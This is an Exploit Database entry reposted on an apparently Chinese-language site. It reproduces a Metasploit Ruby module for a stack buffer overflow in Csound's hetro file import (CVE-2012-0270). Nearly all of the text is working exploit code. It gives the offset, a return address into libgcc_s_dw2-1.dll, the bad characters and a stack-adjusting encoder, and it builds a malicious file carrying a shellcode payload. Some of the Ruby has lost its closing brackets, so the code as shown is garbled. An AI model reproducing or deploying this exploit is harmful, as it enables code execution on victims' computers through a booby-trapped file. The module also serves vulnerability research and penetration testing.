Csound – ‘.hetro’ File Handling Stack Buffer Overflow (Metasploit)

Exploit Database
111 阅读

作者： Metasploit

日期： 2012-04-06
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/18710/

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

# http://metasploit.com/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})

super(update_info(info,

'Name' => 'Csound hetro File Handling Stack Buffer Overflow',

'Description' => %q{

This module exploits a buffer overflow in Csound before 5.16.6.

The overflow occurs when trying to import a malicious hetro file

from tabular format.

In order to achieve exploitation the user should import the malicious

file through csound with a command like "csound -U het_import msf.csd file.het".

This exploit doesn't work if the "het_import" command is used directly

to convert the file.

'License' => MSF_LICENSE,

'Author' =>

[

'Secunia', # Vulnerability discovery

'juan vazquez' # Metasploit module

'Version' => '$Revision: $',

'References' =>

[

[ 'CVE', '2012-0270' ],

[ 'OSVDB', '79491' ],

[ 'BID', '52144' ],

[ 'URL', 'http://secunia.com/secunia_research/2012-3/' ],

[ 'URL', 'http://csound.git.sourceforge.net/git/gitweb.cgi?p=csound/csound5.git;a=commit;h=7d617a9551fb6c552ba16874b71266fcd90f3a6f']

'Payload' =>

{

'Space' => 650,

'BadChars' => "\x00\x0a\x1a\x2c\xff",

'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # Stack adjustment # add esp, -3500

'DisableNops' => 'True'

'Platform' => 'win',

'Targets' =>

[

[ 'Csound 5.15 / Windows XP SP3 / Windows 7 SP1',

{

'Offset' => 132,

'Ret' => 0x6e955446 # push esp #ret / libgcc_s_dw2-1.dll

}

'Privileged' => false,

'DefaultTarget' => 0,

'DisclosureDate' => 'Feb 23 2012'))

register_options(

[

OptString.new('FILENAME', [ false, 'The file name.', 'msf.csd']),

], self.class)

end

def exploit

sploit = rand_text(target['Offset'])

sploit << [target.ret].pack("V")

sploit << payload.encoded

print_status("Creating '#{datastore['FILENAME']}' file ...")

file_create(sploit)

end